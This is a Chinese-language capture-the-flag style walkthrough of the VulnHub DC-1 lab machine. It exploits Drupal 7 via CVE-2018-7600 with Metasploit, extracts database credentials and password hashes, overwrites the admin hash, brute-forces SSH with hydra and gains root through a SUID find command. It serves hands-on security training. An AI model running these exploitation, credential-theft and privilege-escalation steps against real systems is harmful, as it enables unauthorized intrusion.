vulnhub练习 DC-1复现及分析
字数 1209 2025-08-18 11:36:53
DC-1 靶机复现及渗透测试教学文档
一、环境搭建
1. 工具准备
- 靶机: DC-1 (IP: 192.168.200.17)
- 攻击机: Kali Linux (IP: 192.168.200.13)
2. 网络配置
- 攻击机和靶机网络连接方式需相同
- 推荐使用NAT模式(也可使用桥接模式)
- 查看DC-1的MAC地址方法: 点击虚拟机"高级"选项
二、信息收集阶段
1. 扫描存活主机
常用工具及命令:
arp-scan -l
nmap -sP 192.168.200.0/24 -T4
netdiscover
2. 端口扫描
nmap -sV -p- 192.168.200.17
参数说明:
-sV: 扫描目标主机端口上运行的软件信息-p-: 扫描全部端口(0-65535)
3. 指纹识别
识别网站CMS类型:
whatweb -v 192.168.200.17
或使用浏览器插件Wappalyzer
识别结果: Drupal 7 CMS
4. 目录扫描
使用工具如dirb、dirbuster等进行目录扫描
三、漏洞利用
1. 使用Metasploit利用Drupal漏洞
漏洞编号: CVE-2018-7600 (Drupal远程代码执行漏洞)
步骤:
msfconsole
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set RHOSTS 192.168.200.17
exploit
成功后会建立Meterpreter会话
2. 获取shell
shell
python -c 'import pty; pty.spawn("/bin/bash")'
3. 查找flag1
执行ls查看当前目录,发现flag1文件
四、数据库操作
1. 查找配置文件
cat sites/default/settings.php
发现flag2,并获取数据库凭据:
- 数据库类型: mysql
- 用户名: dbuser
- 密码: R0ck3t
2. 连接数据库
mysql -udbuser -pR0ck3t
3. 数据库操作
show databases;
use drupaldb;
show tables;
select * from users;
获取到两个加密的用户密码:
- admin: \(S\)DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
- Fred: \(S\)DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
4. 密码重置方法
方法一: 修改admin密码
- 找到加密脚本:
/var/www/scripts/password-hash.sh
- 生成新密码hash:
php /var/www/scripts/password-hash.sh admin
输出示例:
username: admin
hash: $S$Dhk7CjZDCy.ZjoGxxBWmfuzwUiGVZZAqOvNz4Ah0w72GQV5tLj5i
- 更新数据库:
update users set pass = "$S$Dhk7CjZDCy.ZjoGxxBWmfuzwUiGVZZAqOvNz4Ah0w72GQV5tLj5i" where name = 'admin';
方法二: 添加admin用户
利用Drupal 7(7.0~7.31)的SQL注入漏洞(CVE-2014-3704)
五、权限提升
1. 获取flag3
登录admin账户后找到flag3,提示查看:
/etc/passwd
/etc/shadow
2. 查找flag4用户
cat /etc/passwd
发现flag4用户
3. 获取flag4密码方法
方法一: 密码爆破
使用hydra爆破flag4用户的SSH密码:
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.200.17
爆破结果: flag4/orange
方法二: SUID提权
- 查找具有SUID权限的文件:
find / -perm -4000
- 利用find命令提权:
find ./misc -exec "/bin/sh" \;
4. 获取root权限
- 使用flag4用户登录:
ssh flag4@192.168.200.17
- 再次使用SUID提权方法获取root权限
5. 获取最终flag
在root目录下找到thefinalflag.txt
六、总结与关键命令
-
主机发现:
arp-scan -l nmap -sP 192.168.200.0/24 -
端口扫描:
nmap -sV -p- 192.168.200.17 -
漏洞利用:
use exploit/unix/webapp/drupal_drupalgeddon2 -
密码爆破:
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.200.17 -
提权方法:
find / -perm -4000 find ./misc -exec "/bin/sh" \; -
Drupal密码重置:
php /var/www/scripts/password-hash.sh 新密码
通过以上步骤,完整复现了DC-1靶机的渗透测试过程,涵盖了信息收集、漏洞利用、数据库操作和权限提升等关键环节。